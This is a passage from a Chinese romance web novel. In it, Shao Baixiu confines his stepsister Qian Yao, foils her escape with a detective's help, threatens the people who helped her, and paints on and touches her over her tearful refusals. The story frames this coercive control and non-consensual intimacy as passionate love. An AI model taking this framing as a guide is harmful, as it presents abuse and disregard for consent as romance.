她乐此不疲,吃的饭菜也香了。
-
千瑶翻来覆去,她盖着被子,闷得有点热。
她出了些薄汗,把被子拉下来一些。
她转了个身,没感受到身边人。
昏暗的光线下,她迷迷糊糊地睁开眼,邵柏修不见了。
她起身,揉了揉眼睛。
透过床头的灯光,她见到沙发旁蹲着一个人影。
千瑶皱起眉,穿着拖鞋,慢慢走到沙发旁边。
沙发旁的柜子抽屉是打开的,整个抽屉都掉在地上,散着七七八八的文件,还有别的东西。
半蹲的背影很熟悉,黑色的真丝睡衣松松垮垮地穿在身上。
宽阔的肩,睡衣的长带拖地。
他的手在轻微地颤抖,指尖发白,安静的空间里听到他的呼吸急促。
邵柏修仰头在吞咽着什么东西,他吞得很急。
“你在做什么呢?”
37. 第37张照片
啪——
手中的东西落地,邵柏修猛地抬头。
千瑶就站在他面前,微微歪头困惑地注视着他。
他的眼里闪过一丝慌乱,眼尾血红,扶着沙发的手臂青筋暴起。
千瑶看他的状态不对,落地的药瓶瓶口打开,白色的药片散在地上。
邵柏修不动声色地拿起药瓶,把地面的药片一粒粒放入瓶中。
他没有看她,“怎么醒了?”
药瓶攥在他手中,她看到上边写着“SSR...”
他的拇指盖住了一个字母,她看不全。
“我睡得不舒服,夜里有点热就起来了。”
她蹲下帮忙把地上的文件放回柜子里,“你刚刚蹲在这里做什么?你睡不着吗?”
邵柏修敛了敛神情,把药同文件都锁紧柜子里。
“失眠了,吃点安眠药。”
他拉着千瑶的手,回到床上。
在床头的光线下,她看到了邵柏修发白的脸,握着他的手也是冰冷的。
“安眠药可不能这么吃,你大把大把地往嘴里塞,这样不行的。”
“你是不是不舒服?”
千瑶感觉他好像很累,他躺在床上揉着太阳穴。
邵柏修搂着她,下颌蹭着她的发顶,那阵奶油香让他心里稍微定了。
“还好,千千睡吧。”
他抱着千瑶相拥而眠。
千瑶却睡不着,她睁着眼睛,抬头看他。
她想着那个安眠药,以前在御萃长庭时都没有见到邵柏修这样。
刚刚的场面让她骇然,她皱着眉头,心里头无数个心思。
忽地,眼前被盖上一只大手,她的眼睫扫着他掌心。
唇间被咬,倏然的吻让她猝不及防。
“宝宝,偷看我。”他在她耳边哑声道。
“你想...”
千瑶抓着被子的手紧了几分,她主动揽上他的腰,埋在他的胸口间。
“我睡着了。”
头顶上传来轻笑,看她怕成这样,揉着她的发顶。
清晨。
邵柏修没有去公司,他陪千瑶在家写作。
书房的光线正好,从窗口的风吹拂,树叶沙沙作响。
千瑶码字的声音很响,邵柏修则在她身边办公。
有一种静谧的和谐。
桌上放着一罐牛奶糖,他打开拿出一颗,抛到千瑶面前。
“吃点。”
千瑶手边掉落一个奶糖,她瞥了一眼,没理他。
手中的键盘打字快到飞起,而后逐渐慢下来。
她在想切入点,这个剧情完善得不太行。
邵柏修见她没反应,挑了挑眉。
他的工作完成得差不多,时不时抬头看向千瑶,见到她皱着眉头码字。
她双手揉着脸,一副苦大仇深的模样,他一时觉得好笑。
“你为什么这幅表情?”
千瑶沉浸在自己的世界,没听见他说话。
被忽视的邵柏修很不爽,他抽出一张纸,揉成一团,扔在她键盘上。
千瑶扭头看他,“嗯?”
她反应过来邵柏修在说什么,她没好气地看他。
本来自己就想不到新情节,现在他又撩自己说话。
没写得几个字,刚有点情绪,思路又被邵柏修打断了。
“我没想到有什么新情节,切入点。”
“你能不能不要吵我,刚想到一点东西,你就打断了。”
邵柏修举起双手,“OK。”
刚写没五分钟。
“千千,你晚上想吃点什么?”
“新情节你现在想到了吗?”
“我能提前看最新章吗?”
千瑶看向邵柏修,眼神几乎要杀人。
他刚刚想要说的话哽住,而后移开了目光。
电话响起,邵柏修接了电话。
没过一会儿,他的神情严肃,起身拿起沙发上的外套。
“千千,集团临时有事,我先去一趟。”
“嗯。”
看他离开,千瑶总算能安静会儿了。
时间一点一滴流逝,千瑶终于写完了新的一章。
她如今开了新书,现言《来自巴塞罗那的情书》,大纲人设都搞定了,开头前三章已经发布。
千瑶捧着一杯牛奶,去花园里坐坐。
秋千晃着,今天的阳光耀眼,洒在身上暖暖的。
千瑶心里一直想着那件事,搁在心头,不知为什么心间有些无厘头的慌。
那几页纸张,张编辑应该能发现吧。
千瑶躺在秋千上,盖了一层薄薄的毯子,困倦中睡着了。
她在梦里见到了警察,两名警察在盘问邵柏修。
一位在问,一位在做笔录。
“有人举报你这边消防车道堵塞,还有周围的消防安全设施不齐全。”
“警官,我可真冤,你可以亲自去检查。”
警察不经意看向秋千上的女孩,“这位是?”
“我妹妹,千瑶。”
“妹妹?一个姓千,一个姓邵。什么时候多出来的妹妹?”
邵柏修的笑意淡了许多,“警察同志,这不是在我们交谈的范围。”
“邹秘书,带两位警官去看看消防通道。”邹秘书点头。
“请随我来。”
两位警察跟在邹秘书身后,千瑶迷迷糊糊地睁眼。
她没做梦,她没看错。
她掀开被单,急急忙忙地要跑出去。
硕大的阴影笼罩下来,遮住了她的视线。
视线之下是一双黑色薄底皮鞋,千瑶停在原地,光着脚的地面凉透了心扉。
人已经走远了,怎么喊都听不见了。
她被人一推,跌坐在秋千上。
“是不是我太纵容你了,千千。”
邵柏修浑身冷寒,凝视她的目光里毫无情绪。
“张编辑是吧。”
“不关她的事,是我自己求她的。”
千瑶抓着秋千的横杆,她掌心发汗。
没想到那二位来得那么不凑巧,正好撞上邵柏修回来的时间。
她恨自己刚刚睡着了,这么好的机会就被自己浪费了。
头顶传来一声轻笑,嘴角的笑意薄凉。
“第几次了?”
“就这么想离开我身边?”
邵柏修捏着她的下颌,她的眼中丝毫没有自己的位置。
之前的温情,都是给他做戏。
她骨子里还是要离开他,还是离得他远远的,想一辈子都和他断绝关系。
邵柏修怒火烧得他失去理智,大手横揽千瑶的腰,钳制住她的腿直接抗在肩上。
千瑶在锤他,“邵柏修,你放我下来。”
她捶着他的后背,冷峻的侧颜眼中染上怒意。
王妈见邵先生抱着人进来,直接让周围的佣人全出去。
他浑身上下阴沉可怖,席卷寒意,他一言不发地将人扔在沙发上。
千瑶被摔得疼了,偌大的沙发往下凹陷,她往前爬。
却被人一手拽着小腿,拉至他身下。
“宝宝,你在我眼皮子底下做这种事,有考虑过后果吗?”
他把人按在沙发上,视线下落,头发盖着她的脸。
邵柏修拨开她的头发,她紧紧闭着眼睛,浑身上下紧绷。
牙齿咬着唇,咬破皮渗出血迹。
她低声呜咽,眼泪从她的眼尾流下,滴在沙发上。
看到她眼中的泪水,邵柏修猛地一怔,他停了下来。
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“千千,你怎么了?”
千瑶没有回应他,侧脸埋在沙发里。
她浑身在颤抖,吸了吸鼻子。
邵柏修抱起她,将她从沙发上捞了起来,安抚地抚摸着她的脑袋。
千瑶蜷缩在他的胸口,她的额发间满是汗水,她一双眉头紧紧蹙起。
邵柏修轻拂她的发丝,“宝宝,没事了,没事了。”
他眼神瞥见她的手肘处,青青紫紫,另一边手腕也是红了一圈。
邵柏修抬起她的手肘,她稍敛眉梢,捂着发疼的膝盖。
他卷起她的裙尾一角,膝盖上磕破了皮,直接肿起一块。
应该是刚刚摔得狠了,膝盖狠狠撞到了沙发的边缘。
千瑶腿抬起一下都疼得不行,邵柏修擦去她的眼尾泪花。
邵柏修将千瑶轻放在沙发上,让人去拿药箱。
他迅速地拿出药,半蹲在她膝下,小心翼翼地撩开她的衣裙,卷到膝盖以上。
“有点疼,忍一下。”邵柏修皱着眉头,将药涂在她膝盖上。
冰冰凉凉的药,下一瞬就传来一阵火辣。
千瑶抓着沙发,疼得闷哼。
“痛。”
“马上就好。”他紧张地抬眼看她,她紧闭双眼,疼得咬牙。
邵柏修动作轻柔,速度加快。
邵柏修连带着手肘涂完后,将药膏放进药箱。
“千氏没有找我,你是不是做了什么手脚?”
她一个人在M国,妈妈一定会和她有所联系。
可是这么久了,她始终没有收到任何消息。而之前的假千轶芸是邵柏修安排的,他想让自己彻底地与千氏分割开。
他要让人找不到她。
能做到这一切的就是邵柏修,他瞒过了所有人。
“你要怎样才肯放过我,邵柏修。”
千瑶仰头注视着他的身影,邵柏修背对着她,将药都归整好。
“千轶芸能想到用自己的女儿来联姻,可见她也没有多关心你。”
啪嗒一声。
他关上药箱。
“她现在都自顾不暇,哪有时间管你。”
邵柏修转过身,凝视着她,眼神幽深而昏沉,犹如泼墨的黑。
“放过你,除非我死。”
千瑶别过眼去,泪水在眼眶里打转。
心间的痛楚比现在受到的伤还疼,他还是这样要控制她。
他没有一点改变,他好讨厌。
千瑶站起来,邵柏修上前去扶她,千瑶甩开了他的手。
她走得缓慢,膝盖的伤口还在痛着,背过身去,泪水低落地面。
邵柏修看着她回了房间,紧闭的房门沉默而视。
砰——
一巴掌掀翻了刚刚的药箱,药箱连续翻滚几下。
卡扣断了,药从里边掉出来,摔得七零八碎。
刚走进来的邹秘书被这个动静吓了一跳,邵总的心情很差,他有些踌躇。
“杵在那儿干嘛,滚进来。”
邹秘书走进来,手上拿了一个礼盒袋。
“小姐在20号给您买了一样礼物,您先看看。”
邵柏修拿过礼物袋,瞥了他一眼,“20号?机场那天?”
“送货的店员送到了御萃长庭,可您不在。因为要将货物亲手交付,连续几天上门不见人,而后才被佣人告知,联系上这边。”
邵柏修打开礼盒,里边是一块腕表。
华贵精致,表面光滑无瑕。
指针很准,没有很大的滴答声。
和他手腕戴的这一款天差地别,一看就是花了大价钱买的。
邵柏修手指摩挲着冰凉的表带,视线看向房门,心跳骤然停了一拍。
他的小兔对他还有情,她对他动真心了。
38. 第38张照片
邵柏修放下腕表,邹秘书离开了大厅。
邵柏修走到房门前,敲响门,拧开门把手。
刚进门就见到千瑶坐在卧室阳台的椅子上看书,听到邵柏修进来,她没抬头。
她视线停留在眼前的书页上,邵柏修拉开凳子,坐在她面前。
“宝宝,我看到你送给我的礼物了。”
千瑶翻书的手一顿,看到他拿出的腕表礼盒。
打开就是之前她买的男士商务表,低调轻奢,不失其庄重。
“你去机场前买的。”
“曾经林木子告诉我,你对我动过心,我现在相信了。千千,你心里是有我的。”
千瑶身体僵硬,心间倏然漏了一拍。
她抓着书封,捏白了手指尖。
“邵柏修,我们的感情早就变了,你想活在幻想里,你就继续吧,我无所谓的。”
千瑶扭头注视着他,那种眼神陌生而疏离。
邵柏修手撑在她的座位上,拉近了她的距离,“心是不会骗人的。”
“我所做的是心理暗示,你敢说你没有一点动心吗?千千。”
“以前有,现在没有了。”
她抬眼看向他,直直看进了他心里,她没有闪避他的视线。
对视之间,时间恍若在此停滞了下来。
风吹拂着她的碎发,扰乱了两人的心。
邵柏修抓着的腕表冰凉,凉透了全身,湿了眼睛。
他说不出一句话,她的话宛若刀割,毫不留情地落刀,让人痛彻心扉。
房门关上,隔开了两人。
千瑶看着阳台远处的风景,车水马龙,灯光亮起。
街道上又是一片人间烟火气,霓虹灯模糊了视线。
一滴滴的泪砸在书页上,风干了她的泪水,抹去泪痕。
凌冽的长风在吹着,入冬后的京市更为寂寥。
千瑶待在这儿快一个月了,邵柏修也无形之间控制着她。
自从上次张编辑帮她后,他直接隔绝了她线下见任何人。
千瑶担心张编辑会因此受到邵柏修的报复,让她惊诧的是他并没有。
邵柏修也没有要杂志社换个人对接,还是指定的张编辑全权负责。
千瑶对邵柏修的态度才稍有缓和。
千瑶数着日历上的日子,就快要到新年了。
身后的男人覆上来,指着上边的除夕,点了点。
“宝宝,还有十天,这是我们相逢后过的第一个春节。”
“我好期待,到时候我们要买什么年货?”他揽着千瑶的腰询问道。
千瑶摇头,她想不到要买的东西,很多东西这里都有,不需要买别的。
倒是邵柏修对过年这件事很上心,他握着千瑶的手,指腹揉着她的手背。
“那不急,千千可以再想,我到时候都让人去准备。”
邵柏修看了眼她的膝盖,卷起她的裤腿,千瑶皱眉看他突然的举动,拉住他的手。
“你做什么?早就好了。”
“我看一下才放心,上一次是我不好。”
因为之前置气,千瑶不让他碰,涂药都是自己涂的。
千瑶见他半蹲下,以他的性子不看是不放心的,拧不过邵柏修,让他掀起了裤腿。
膝盖上还是一片乌青,只不过比之前淡了一点点。
邵柏修皱眉,时间过去一星期,伤口应该好了才对。
反而还是原来的模样,“还骗我好了,是不是都没有按时涂药?”
千瑶紧紧抿着唇,她确实懒了,每天洗完澡就上床玩手机。
看小说入迷了,根本不想动,更别提涂药了。
邵柏修看她低着头心虚的模样,也是一脸无奈。
他还以为每天一次的药,她都按时涂了,自己也就没注意过。
邵柏修经过这件事后,每天晚上都要给她涂药。渐渐地在他的坚持下,她的膝盖也好得差不多了。
邵柏修最近特别的忙,集团上一批医疗器械出了问题比较棘手,晚上的时候他让千瑶别等他了。
千瑶走在廊间,她抿了一口热牛奶,瞥间二楼的尽头有个紧闭的卧房门。
她到门前,看着这个硕大的檀木门,她拧一下门把手,门被锁上了。
千瑶想看看里边是什么,这种熟悉感扑面而来。
她来到厅内,放下牛奶,问王妈有没有二楼走廊尽头门口的钥匙。
“这、这......先生平常不让人进去的,每月也就进行一次打扫。”
“我想看看,我感觉非常熟悉,兴许对我的记忆有帮助,你就帮我这一次吧。”
王妈支支吾吾,但又想到千瑶小姐不是旁人,如果是先生也会同意的。
王妈把钥匙给她,千瑶立刻道了声谢,而后便上楼了。
她推开门,打开房内的灯。
白炽灯照得锃亮,入目便是一张鲜红的画作。
无数的血手印遍布了整张画布,挂在墙上非常瘆人。
周围的画架上都是阴森恐怖的图画。
断臂残肢,吃人的阴影,人体解剖。
每一幅图都绘制得栩栩如生,千瑶吓得靠在了墙上。
还有一些被白布盖住的画作,她上前几步,掀开了上边的布。
绘画的是一个坠楼的女人,脑袋就像西瓜被砸碎,地面上流了一滩血。
右下角还有一个小小的英文,写得歪歪扭扭,看起来像是“mother”。
而在那副画的旁边,放着一个很小的正方形画作。
阳光,房屋,小溪流。
很阳光,和这间房间画作的风格截然不同,看上去是一个小孩画的。
千瑶的脑袋开始剧烈地疼痛,她捂着脑袋蹲下。
头就像受到了极大的冲击,疼得不行。
“我不要画画,哥哥。”
“再动,就画在你身上。”
千瑶流着眼泪,她夺过哥哥的画笔,“你不许恐吓我,我也会画,我其实画得可好了。”
邵柏修愣神,怀中的女孩就拿来一个新的画盘,拆了画画的颜料,将其他颜色放在调色盘上。
暖色的颜料杂糅在一起,一张小小的画布覆盖在他方才可怖的画作上。
“不信你看。”
邵柏修表情恹恹,双手环胸看她想干嘛。
太阳画在左上角,金光闪闪。
下方是一个硕大的房子,在房子旁边画了四个人,牵手围成一圈,每个人都笑得很开心。
他看着那四只火柴人,指着上头,“你这画的谁?”
“妈妈,邵叔叔,哥哥,还有我。”
“对了!还有我爸爸,他是太阳。”千瑶指着那左上角的一圈太阳。
她又添了几笔,给它画了一个微笑。
邵柏修骤然笑了,指着那八颗大牙。
“太阳还有八颗牙齿,画这么具体?你要不要直接再画个身子。”
“还有你这个什么东西啊,给我画这么矮,比你都矮,画得真丑。”
千瑶看他笑了,嘴角逐渐上扬。
“你分明就是喜欢我的画,不然你不会笑得这么开心。”
“你什么逻辑,你画这么丑谁喜欢。”
邵柏修收敛了笑意,啧了一声。<
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千瑶观察得很仔细,他刚刚分明就是笑了,还死不承认。
“我发现了,你画画的时候总是板着脸,甚至没什么表情。”
“画画就应该让自己开心,你看你画得黑漆漆的,没有一点好看的色彩。我才不跟你学呢,糖你自己吃吧。”
邵柏修见她胆子大了,跟自己这么说话。
他揪着她的耳朵,“你说我画得不行?我好心教你还这么说。”
千瑶被揪得疼了,打下他的手,揉了揉自己的两只耳朵。
“这是我死去的妈教我画的,技巧上高出你好几倍。”
千瑶咬着唇,“......可是我见你画画,你很不高兴。”
“你以后别再画这种恐怖的东西了,和我画多好哥哥。”
她贴过来,把那张恐怖的画叠好放在一边,把自己的大作摆在正中央。
她满意叉腰,反复欣赏。
“啧,烦人。”
千瑶捂着脑袋,头痛欲裂。
她呼吸喘不过气来,哽咽在喉间,她捂着头直直栽倒在地上。
头顶上的白炽灯在旋转,她昏了过去。
等千瑶再睁开眼时,邵柏修就在她旁边,紧张地注视着她。
“宝宝,你、你感觉怎么样?头还痛吗?”
千瑶摇头,“我只是想起了一些事,刚刚的回忆突如其来,我也不知道怎么了。”
邵柏修松了口气,他刚回来就听到二楼的王妈大喊,他赶忙上来见到她昏倒在了地上。
他赶忙检查了一番,还好没什么大碍。
千瑶看到她以前画的画了,他说不喜欢,却在那里存放了这么多年。
“邵柏修,我现在在写新文,想外出采风,你能不能不要关我在这里了。”
“我想去看看南迦巴瓦峰的日照金山,挪威的北极光,还有魁北克的枫叶,那一定很美。”
“对了!还有巴塞罗那,莫斯科,这些地方很有历史底蕴的。”
“我记得你特别会画画,到时候你也把这些风景都画下来。”
她眼睛亮亮的,期待地看着邵柏修。
“我也很会的,到时候可以比一比谁画得更好看?”
邵柏修低着头,目光凝视了她良久。
他沉默不语,柔和的光照在他的眉眼,翻涌着情绪。
“可以吗?”
他开口,“我忙完了集团的事一定和你去。”
千瑶皱眉,“可是我想现在就去,或者我先出发,这样的话莫斯科刚入冬,可以看到初雪。”
“你今天说这些,归根到底是不是想离开我,写小说采风都是借口。”
“不是这样的......”
邵柏修看着床上的她,质问道:“不是?之前你瞒过我,独自去机场的时候又找了多少个借口。”
“我这次没有......”
“千瑶,我告诉你,离开我没有可能。”
千瑶看着他,眼睛酸酸的,眼眶直接红了。
她抽回手,背过身去,不想再看他。
眼泪滑落在枕头上,湿了一片。
邵柏修看着她的背影,一副全然不想交流的模样。
他起身走进浴室,冰冷的水冲刷着他内心的怒火。
邵柏修脑海中全是她蜷缩在被子里哭的模样,哭得颤抖又可怜。
只要跟他在一起就难受得不行,跟景喻哲在一起的时候又笑得那么开心。
邵柏修一拳砸在镜面上,镜子瞬间裂开好几道缝隙,砰地轰然掉下来。
左手的血滴在地上,随着地面的水冲刷,化成了一滩血水。
39. 第39张照片
二人的关系再次降至冰点。
邵柏修清晨去公司,千瑶起来时没见到他。昨晚他没有和她一起睡,而是去了客房。
浴室里破碎的镜面已经让人换上,和之前的那面一样。
千瑶吃完早餐后,又坐在了秋千上。
天蓝白云,万里晴空。
冬日的阳光煦暖,照在人身上暖烘烘。
千瑶仰头沐浴在阳光里,搭在身上的毯子毛绒绒,烘暖了她冰凉的身体。
园丁在花园里忙碌着,修剪培育花草,整理得有条不紊。
她注视着,微一眯眼,注意到一个半蹲的人影。
他带着硕大的草帽,穿着蓝色的工服。戴着白色的口罩,手里拿着锄头在除草。
那是——
千瑶暗惊,就快站起。
脑袋中的理智告诉她要淡定,不可操之过急。
她的视线追随着那道人影,正巧他抬眼,从远处直直地与她对视。
仅仅是一眼,他就起身拿着一个草篮子往花园后的仓库走,那里是存放修剪工具的地方。
千瑶看他往那儿走,她掀开身上的毯子,离开秋千跟着他往仓库走。
等到她拐入仓库,在仓库的后头堆着几个空的纸皮箱子,刚好能将这一个偏僻角落的监控盖住。
“千小姐,哎呦喂,可算找到您了。”成侦探热络地迎上来。
脱下头顶的草帽,止不住地扇风。
“进来太不容易了,我还去园艺公司干了好几天的除草工,苦死了。”
千瑶见到他非常诧异,“成侦探,你怎么会在这儿?”
成侦探摆了摆手,“雪莉小姐雇佣我来找您的,我告诉你,这得加钱呐,这活儿可真不是一般人能干的。”
听他提到雪莉卡,千瑶缓缓勾起笑意,原来雪莉卡回M国后还念着她,还找上了成侦探。
他说完后,从自己的框里拿出一套工作服,还有统一的靴子。
成侦探递给千瑶,让她赶快换上。
“穿上后跟我出去吧。”
千瑶看着手中的衣物,没有犹豫很快就换好了。
“可这样能行吗?到处都是监控。”她担忧道。
成侦探自信一笑,“我不打无准备的仗,我都摸清楚了摄像头的位置,你换上这身不会有人怀疑你,到时候戴上这顶帽子,监控下谁还分得清谁。”
他看了一眼手表,下午4:20分。
“4:30我们就会从这儿完成工作离开,现在出去正好。”
“来到这儿的园艺工足足有十几个,到时候混进去就行了。”
千瑶心中的疑虑逐渐打消,她拿着鸭舌帽戴在头上。
“成侦探谢谢。”
“到时候有活儿再找我就行。”
他不知从何处变出一张名片,“这个是我拓展的洗浴业务,如果有搓澡的需要,凭我的名片可以打九折哦。”
千瑶拿着那张名片,放进了自己的口袋。
她虽然不搓澡,但是也可以投资这个业务,听成侦探这么介绍应该还挺靠谱的。
成侦探出去,千瑶紧随其后。
她的心脏砰砰砰地跳,她手里被塞了一个大剪刀,和他站在一起。
她压低了帽檐,周围经过的佣人没往这边看。
“别太紧张,自然点,拿剪刀随便剪一剪。”
成侦探看出来她的紧张,压低声音告诉她。
他干起活来干净利落,游刃有余,一看就是真在园艺公司培训过的。
千瑶认真的剪,让自己的紧张稍稍缓解。
她这次是距离自由最近的一次,她想离开,不想再被困在这儿了。
其余的园艺工人也快完成,陆陆续续地把工具归好位。
而后众人往大门走,千瑶走在队伍中间,成侦探背着工具箱跟在她身边。
来到门口,保镖扫了一眼。
他按下手中的按钮,大门开启。
千瑶见到大门打开的那刻,心几乎要跳出胸口,她真的能出去了。
众人走得不紧不慢,还有几人在聊天。
她混杂在其中,他们也没注意到多出来人。
可就在她刚出门口的刹那,一辆黑色劳斯莱斯拐了进来。
后座车窗半开,邵柏修双腿交叠,指尖漫不经心地点着车窗边缘。
千瑶浑身战粟,心率在那一刻飙升。
以往这个时间点邵柏修还在集团,今天竟然回来得这么早。
她不自在地压低帽檐,抓着袖子的手紧张。
车从人群旁经过,邵柏修眼神不经意间锁定一个熟悉的身影。
那道娇小的身影混在其中,他眼眸淬了寒冰。
“停车。”
车停了下来。
千瑶见到车停下来,脑海中警铃大作。
成侦探也一脸严肃,他感知到了危机,让千瑶快点走。
邵柏修从车上下来,盯着那个走得愈发快的背影。
“千千,你想去哪儿?”
千瑶呼吸停滞,犹如一盆冷水浇下,冷得彻底。
成侦探直接拽着她就跑,“快走!”
众人还不知发生了什么,就被他两冲撞得不知所措。
于此同时,周围的保镖出动。
邹秘书见身旁人气压愈发低,面色阴沉,眼神冷得吓人。
他当即指挥保镖,“快拦住千小姐!还有那个男的,把他抓了。”
千瑶被拽着往前,她拼了命的跑。
这是她的机会,她离开仅有一步之遥。
气息紊乱,上下起伏的心跳的极快。
成侦探更是满头大汗,把帽子都扔了。
二人的速度根本比不上身强体健的保镖,他们很快就被追上。
两名西装保镖直接踹向成侦探的膝盖,他直接扑倒在地,手也顺势和千瑶分开了。
“成侦探!你们放开他!”
成侦探被两人按在地,压着不能动弹。
“疼疼疼疼疼疼...”
“错了,错了兄弟,轻轻轻点......”
千瑶则被钳制住手臂,保镖不敢伤她,只是限制了她不能上前。
她怒视逐渐走近的邵柏修,他不紧不慢地来到她面前,掐着她的下颌,“又想逃?”
“千千,你太让我失望了。”
“邵柏修,我不想待在这儿!我受够了!我真的受够了!”
千瑶看着他的眼睛,眼眶酸涩,泪水宛若断了线的珠子流下。
“他就是来拐骗你的那个人?”
邵柏修视线转向地上的成侦探,他被压得手脚都动不了。
他噙着一抹笑意,笑得温柔。
“真该死呐。”
千瑶紧张地看着邵柏修,他笑意未达眼底,稍微挑眉。
那是他怒气达到顶峰时会露出的神情。
千瑶的声音颤抖,她抓着他的手臂,急切道:“成侦探是来帮我的,你放他走,这件事与他无关。”
“侦探?原来他
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就是一直帮你调查我,才让你生了离开我的心思。”
千瑶摇头,泪水一滴滴落在手臂间。
“他是受雇佣的,我跟你回去,别为难他,求你了。”
“哥,我求你了......”
邵柏修扭头看着她,她哭得眼尾殷红,满脸泪痕。
抓着他的手臂紧紧的,生怕他对别人做出不好的事。
千瑶指尖微微颤抖,内心莫大的痛苦压着她。
她想要做的任何事都有邵柏修的控制,她快要喘不过气了。
“好啊。”他扭头看着千瑶在笑。
邵柏修一把将她打横抱起,回富溪川府。
光线照在他冰冷的下颌线,手臂的肌肉紧绷,扣着她柔软的腰肢。
千瑶抓着他的脖颈,领口的衬衫抓得褶皱。
他一双冷漠的眉眼,染着薄怒,嘴唇紧抿成一条线。
踹开画室的门,将她放在桌上。
邵柏修挑起笑意,“宝宝,还记得这里吗?”
他手持画盘,调着颜料。画笔在颜料盘上打圈,缓步走向她。
千瑶抓着桌的一角,冰凉的木檀香桌透过寒意。
她仰头看着他,视线转向他手中的物件。
千瑶心里猛地抽紧,黛眉微蹙,他每走的一步都踩在她的心间上。
“你要做什么?”
邵柏修一手撩开她的墨发,垂落在胸前。
暖黄的水晶灯线落在她的眉骨之上,发丝泛着光。
“宝宝又要抛下我,就像小时候一样不守信用,喜欢骗哥哥。”
“我们以前一起在这里作画,要不要重温一下回忆,我可是很期待的。”
他扶上她的肩,靠在她耳边,“乖,转过去。”
千瑶睫毛轻颤,她今天是逃不掉了。
她转身,腰间覆上一手,逐渐往上,解开她领口间的扣子。
肩的曲线妖娆,一扯直接褪下半身,露出光洁而白皙的脊背。
邵柏修的指尖点在她的后颈,逐渐往下,划过她的一对蝴蝶骨。
她羞红了脸,半弓着身想拉上衣服。
泪水滴在桌面上,“我不想这样。”
邵柏修抚摸着她的肩头,贴在她的耳边,灼热的气息喷薄,“多适合画画。”
“你会喜欢的。”
“不......”
他把画盘的颜色摆在她眼前,“青色,这个颜色怎么样?”
“还是蓝色,粉红色,你喜欢哪一种?”
千瑶眼泪滴落在画盘上,“我不要画了,哥。”
笔骨抵在她唇间,他注视着千瑶,“嘘——别再惹哥哥生气了。”
肩侧的衣服被拉得更下,手臂微弯,透着冰晶的白皙。
他执笔,画笔沾上玫红色的颜料,笔落在她的后颈逐渐向下。
千瑶抓着桌沿一角,逐渐蜷缩起来。
冰凉的刺激扫过她的肌肤,恍如电流缓缓而过,留下一阵酥麻。
她咬着唇,笔尖划过肩胛骨。
在肌肤之上的战粟,不受掌控的晕染,让她无所适从。
千瑶转头抓住他即将再次落笔的手,她眼尾发红,睫上沾着点点泪花。
“哥,可以了。”
邵柏修抚摸着她的指骨,按着她的手在桌面上。
淡淡的雪松香拂过她的耳尖,带着她的手抓住桌沿。
“乖,别动。”
他咬上她的肩头。
“唔......”
40. 第40张照片
一个殷红的牙印出现在她的肩头,带着粉红的瑰丽,再沾染上颜料的红。
是他的专属品。
美丽的脊背因为疼痛弓着,她的指尖骤然一紧。
腰线被完美勾勒,细密的笔尖点着,倏然的笔毛尖在她的腰间晕染。
千瑶猛地一缩,却被按住肩。
冰凉而陌生的感觉从腰间逐渐向上延伸,她从喉咙间溢出呻.吟。
她听到自己的声音,耳朵瞬间就红了。
“千千,画在你身上,真的很美。”
邵柏修的眼神灼热,指尖抚摸着她的腰,点在她的肌肤上。
冰凉的指腹在摩挲,雪白的肌肤温润如暖玉。
千瑶手指屈伸,咬着指骨,不再发出那种奇怪的声音。
泪花朦胧了视线,每一下的笔尖都扫过她的心上。
光线下映着她颤抖的肩,而后被大手覆盖而上。
那处的厮磨持续了很久,千瑶几乎要崩溃。
“宝宝,画完了,我带你去看看。”
他轻拉上肩头的衣料,将她抱离画室,来到卧室的浴室里。
透过镜面,上衣被褪下,千瑶扭头身后画了一簇玫瑰花。
殷红的花瓣栩栩如生,胭脂的红衬得肌肤胜雪。
身后盛放的玫瑰,让千瑶清纯的脸增添了些许魅惑。
空气刘海微微翘起,汗水打湿了她的额发。
他在蝴蝶骨上盖下一吻,从镜中看到他的眼神痴迷,沉醉。
千瑶的脸颊霎时绯红,他的视线涩气,暧昧的吻痕停留在她的肩脊。
“我画得好看吗?”
千瑶没有回应他,吻的热度逐渐上升,燥红了脸。
她湿漉漉的眼神望向镜面,嘴紧抿着,酒窝深陷,嘴唇红得像是涂上了胭脂。
“宝宝,之前是张编辑,这次是雪莉卡、成侦探,怎么这么多人帮你?”
“他们这么爱管闲事,可怎么办呐。”
千瑶心头咯噔,他的双手压在洗漱台上,靠近凝视着她。
“他们是我的朋友,你别为难他们。”
她扯了扯他的衣角,“我不跑了,你别生气,放成侦探走吧。”
邵柏修嗤笑,“宝宝,你紧张的样子真可爱,你说我把他的侦探社搞倒闭了,让他的投资全部打水漂好不好?”
“还有雪莉卡这个女人,之前的警告没听进去呐。”
他抚摸着她的脸颊,指尖点在她的眉骨上,“她的实验可能又要有问题了。”
“哥哥。”千瑶急道。
“我们的事不要牵连别人,这是你答应过我的。你说爱我,那就不要伤害他们。”
“我没有故意想跑,我只是待在这儿太闷了,我想去别的地方看看,可是太多人看着了,我觉得你不会同意,才让成侦探帮我的。”
邵柏修挑眉,“哦?”
他不紧不慢地摘下腕表,放置在台上。
“可你刚刚的反应,可不像是单纯出去玩。”
千瑶皱着眉头,在想任何理由,只要能哄住邵柏修。
她忽然哽住,不知道该如何解释。
“在想什么?想如何圆谎吗?”
“宝宝,可我现在不想听了。”
邵柏修指腹摩挲着她柔软的红唇,轻微按压,而后薄唇覆盖上去。
搅弄得她不知所措,湿润的舌顶着她,撬开齿间。
细密的吻倾覆而下,扰动她的唇。
他的手扣住她的后颈,加深这场激烈的吻。
轻微的水声伴随着吻,他昏沉的眼看着她动人的情态。抚摸着她的肩,逐渐下滑扶着她的腰。
没有让千瑶滑下去,她靠在镜面上,长发披肩在胸前,灼热的吐息模糊了镜面。
“宝宝,我帮你洗掉。”
他抚摸着她的脊背,鼻尖抵着她的耳廓。
“我自己可以洗。”
他轻笑一声,“你看不见,我帮你。”
她推了他的手臂,无声抵抗。
千瑶皱着眉头,他的手臂托起她的身,直接将她放入硕大的浴缸中。
瓷白的浴缸盛满了温暖的水流,水流从缸的边缘流出。
两人的浴缸没有很拥挤,她背对着他,无助地扶着墙面。
他的手指仿若在她身上点火,仔细地涂抹,带着指腹的薄茧在她的脊背摩擦。
红色的颜料从她的白皙肌肤滑下,水流缓慢地滑过,滴在她的尾骨。
男人的视线逐渐火热,从水下抚摸着她的腰,“千千,别离开我了。”
他伏在她的右颈侧,从后头环抱着她,“别抛弃我......”
他的嗓音暗哑,仿若砂石磨过。
千瑶微仰着头,轻微吐息。
脖颈疼痛让她闷哼出声。
水波荡漾,她扶着邵柏修的手,抓着他的手臂出现一道道红痕。
垂落的头发在水面波澜,她的喘息逐渐粗重。
